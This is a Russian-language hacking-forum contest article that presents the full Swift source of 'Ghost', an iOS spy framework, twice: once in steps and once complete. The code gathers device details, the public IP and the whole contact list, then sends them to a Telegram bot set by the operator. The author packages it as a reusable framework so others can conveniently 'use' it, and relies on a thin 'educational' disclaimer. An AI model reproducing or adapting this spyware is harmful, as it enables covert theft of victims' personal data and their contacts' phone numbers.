Ghost spy framework for IOS

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор k1ddddos
Статья написана для
Конкурса статей #10


Дисклеймер: все в образовательной форме! За действия пользователей не несу ответственность.
Сидел я на досуге, как то и читал форум про malware разработку под android думаю, а почему нельзя сделать что то под iOS. Начал писать код. Создал проект в Xcode начал делать первые наброски. Сначала информацию о системе получал потом вспомнил что есть у эпла либа называется Contacts. По размышлял пришел к выводу будет сбор информации о системе, а так же получение контактов и все отправляется в telegram бота, как сейчас модно. В конце я сделал framework. Начнем!
0. Настройка
Swift: Скопировать в буфер обмена
Код:
import Foundation
internal import Alamofire
import Contacts

public class GhostManager {
    public static let shared = GhostManager(); private init() {}
    public var botToken: String = ""
    public var chatId: String = ""
    private var telegramApiUrl: String {
        return "https://api.telegram.org/bot\(botToken)/sendMessage"
    }
1. Первый мой шаг был это сбор информации о железе и ip-шник
Swift: Скопировать в буфер обмена
Код:
private func getSystemInfo(completion: @escaping (String) -> Void) {
        let systemName = ProcessInfo.processInfo.operatingSystemVersionString
        let hostName = ProcessInfo.processInfo.hostName
        let userName = NSUserName()
        let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024)
        let message = """
        System Info:
        Version IOS: \(systemName)
        Host Name: \(hostName)
        User Name: \(userName)
        Memory usage: \(mem) GB
        """
        completion(message)
    }

2. Дальше получение ip адреса:
Swift: Скопировать в буфер обмена
Код:
private func getIpAddress(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            AF.request("https://ipinfo.io/ip").validate().response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let responseString = String(data: data, encoding: .utf8) {
                        DispatchQueue.main.async {
                            completion("iPhone IP: \(responseString)")
                        }
                    } else {
                        DispatchQueue.main.async {
                            completion("IP успешно получен, но данные пустые.")
                        }
                    }
                case .failure(let error):
                    DispatchQueue.main.async {
                        completion("Ошибка получения IP: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
3. Получение контактов:
Swift: Скопировать в буфер обмена
Код:
private func fetchContacts(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            let store = CNContactStore()
            store.requestAccess(for: .contacts) { granted, error in
                if let error = error {
                    DispatchQueue.main.async {
                        completion("Ошибка доступа к контактам: \(error.localizedDescription)")
                    }
                    return
                }
                guard granted else {
                    DispatchQueue.main.async {
                        completion("Доступ к контактам был запрещен пользователем.")
                    }
                    return
                }
               
                let keysToFetch: [CNKeyDescriptor] = [
                    CNContactGivenNameKey as CNKeyDescriptor,
                    CNContactFamilyNameKey as CNKeyDescriptor,
                    CNContactPhoneNumbersKey as CNKeyDescriptor
                ]
                let request = CNContactFetchRequest(keysToFetch: keysToFetch)
                var result = "Контакты:\n"
               
                do {
                    try store.enumerateContacts(with: request) { contact, stop in
                        let fullName = "\(contact.givenName) \(contact.familyName)"
                        let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue }
                        result += "Имя: \(fullName)\n"
                        result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n"
                    }
                    DispatchQueue.main.async {
                        completion(result)
                    }
                } catch {
                    DispatchQueue.main.async {
                        completion("Ошибка получения контактов: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
4. Напишем отправку данных в телеграмм:
Swift: Скопировать в буфер обмена
Код:
private func sendMessageToTelegram(message: String) {
        let parts = splitMessage(message)
        let dispatchGroup = DispatchGroup()
       
        for part in parts {
            dispatchGroup.enter()
            let parameters: [String: Any] = [
                "chat_id": chatId,
                "text": part
            ]
           
            AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let _ = String(data: data, encoding: .utf8) {
                        print("")
                    } else {
                        print("Сообщение успешно отправлено.")
                    }
                case .failure(let error):
                    print("Ошибка отправки сообщения: \(error.localizedDescription)")
                }
                dispatchGroup.leave()
            }
        }
       
        dispatchGroup.notify(queue: .main) {
            print("Все сообщения успешно отправлены.")
        }
    }
5. Собираем все данные в кучу и готовим к отправке:
Swift: Скопировать в буфер обмена
Код:
public func sendMessage() {
        let dispatchGroup = DispatchGroup()
        var systemInfo: String?
        var ipAddress: String?
        var contactsInfo: String?
        dispatchGroup.enter()
        getSystemInfo { result in
            systemInfo = result
            dispatchGroup.leave()
        }
        dispatchGroup.enter()
        getIpAddress { result in
            ipAddress = result
            dispatchGroup.leave()
        }
        dispatchGroup.notify(queue: .main) { [self] in
            dispatchGroup.enter()
            fetchContacts { result in
                contactsInfo = result
                dispatchGroup.leave()
            }
            dispatchGroup.notify(queue: .main) {
                if let systemInfo = systemInfo {
                    self.sendMessageToTelegram(message: systemInfo)
                }
               
                if let ipAddress = ipAddress {
                    self.sendMessageToTelegram(message: ipAddress)
                }
               
                if let contactsInfo = contactsInfo {
                    self.sendMessageToTelegram(message: contactsInfo)
                }
            }
        }
    }
6. Разделение сообщения на части максимум слов которое содержится в сообщении в тг это 4096 поэтому разбиваем на части:
Swift: Скопировать в буфер обмена
Код:
private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] {
        var result: [String] = []
        var currentMessage = ""
       
        for line in message.split(separator: "\n") {
            if currentMessage.count + line.count + 1 > maxLength {
                result.append(currentMessage)
                currentMessage = ""
            }
            currentMessage += (currentMessage.isEmpty ? "" : "\n") + line
        }
       
        if !currentMessage.isEmpty {
            result.append(currentMessage)
        }
        return result
    }
}
Ну вот написали я дальше задался вопросом а как сделать чтобы всем было удобно "пользоваться" и сделал framework написал документацию
Ниже скрины с результатами прикреплю и документацию покажу. Надеюсь было интересно статьи особо писать не умею. Это моя первая публикация. Я знаю что нежелательно использовать доп зависимости при написании framework. Тем более все рассчитано на образовательные цели!
Полный код:
Swift: Скопировать в буфер обмена
Код:
import Foundation
internal import Alamofire
import Contacts

public class GhostManager {
    public static let shared = GhostManager(); private init() {}
    public var botToken: String = ""
    public var chatId: String = ""
    private var telegramApiUrl: String {
        return "https://api.telegram.org/bot\(botToken)/sendMessage"
    }
    private func getSystemInfo(completion: @escaping (String) -> Void) {
        let systemName = ProcessInfo.processInfo.operatingSystemVersionString
        let hostName = ProcessInfo.processInfo.hostName
        let userName = NSUserName()
        let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024)
        let message = """
        System Info:
        Version IOS: \(systemName)
        Host Name: \(hostName)
        User Name: \(userName)
        Memory usage: \(mem) GB
        """
        completion(message)
    }
    private func getIpAddress(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            AF.request("https://ipinfo.io/ip").validate().response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let responseString = String(data: data, encoding: .utf8) {
                        DispatchQueue.main.async {
                            completion("iPhone IP: \(responseString)")
                        }
                    } else {
                        DispatchQueue.main.async {
                            completion("IP успешно получен, но данные пустые.")
                        }
                    }
                case .failure(let error):
                    DispatchQueue.main.async {
                        completion("Ошибка получения IP: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
    private func fetchContacts(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            let store = CNContactStore()
            store.requestAccess(for: .contacts) { granted, error in
                if let error = error {
                    DispatchQueue.main.async {
                        completion("Ошибка доступа к контактам: \(error.localizedDescription)")
                    }
                    return
                }
                guard granted else {
                    DispatchQueue.main.async {
                        completion("Доступ к контактам был запрещен пользователем.")
                    }
                    return
                }
               
                let keysToFetch: [CNKeyDescriptor] = [
                    CNContactGivenNameKey as CNKeyDescriptor,
                    CNContactFamilyNameKey as CNKeyDescriptor,
                    CNContactPhoneNumbersKey as CNKeyDescriptor
                ]
                let request = CNContactFetchRequest(keysToFetch: keysToFetch)
                var result = "Контакты:\n"
               
                do {
                    try store.enumerateContacts(with: request) { contact, stop in
                        let fullName = "\(contact.givenName) \(contact.familyName)"
                        let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue }
                        result += "Имя: \(fullName)\n"
                        result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n"
                    }
                    DispatchQueue.main.async {
                        completion(result)
                    }
                } catch {
                    DispatchQueue.main.async {
                        completion("Ошибка получения контактов: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
    public func sendMessage() {
        let dispatchGroup = DispatchGroup()
        var systemInfo: String?
        var ipAddress: String?
        var contactsInfo: String?
        dispatchGroup.enter()
        getSystemInfo { result in
            systemInfo = result
            dispatchGroup.leave()
        }
        dispatchGroup.enter()
        getIpAddress { result in
            ipAddress = result
            dispatchGroup.leave()
        }
        dispatchGroup.notify(queue: .main) { [self] in
            dispatchGroup.enter()
            fetchContacts { result in
                contactsInfo = result
                dispatchGroup.leave()
            }
            dispatchGroup.notify(queue: .main) {
                if let systemInfo = systemInfo {
                    self.sendMessageToTelegram(message: systemInfo)
                }
               
                if let ipAddress = ipAddress {
                    self.sendMessageToTelegram(message: ipAddress)
                }
               
                if let contactsInfo = contactsInfo {
                    self.sendMessageToTelegram(message: contactsInfo)
                }
            }
        }
    }
    private func sendMessageToTelegram(message: String) {
        let parts = splitMessage(message)
        let dispatchGroup = DispatchGroup()
       
        for part in parts {
            dispatchGroup.enter()
            let parameters: [String: Any] = [
                "chat_id": chatId,
                "text": part
            ]
           
            AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let _ = String(data: data, encoding: .utf8) {
                        print("")
                    } else {
                        print("Сообщение успешно отправлено.")
                    }
                case .failure(let error):
                    print("Ошибка отправки сообщения: \(error.localizedDescription)")
                }
                dispatchGroup.leave()
            }
        }
       
        dispatchGroup.notify(queue: .main) {
            print("Все сообщения успешно отправлены.")
        }
    }
    private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] {
        var result: [String] = []
        var currentMessage = ""
       
        for line in message.split(separator: "\n") {
            if currentMessage.count + line.count + 1 > maxLength {
                result.append(currentMessage)
                currentMessage = ""
            }
            currentMessage += (currentMessage.isEmpty ? "" : "\n") + line
        }
       
        if !currentMessage.isEmpty {
            result.append(currentMessage)
        }
        return result
    }
}
document.png



result.png
 
Сверху Снизу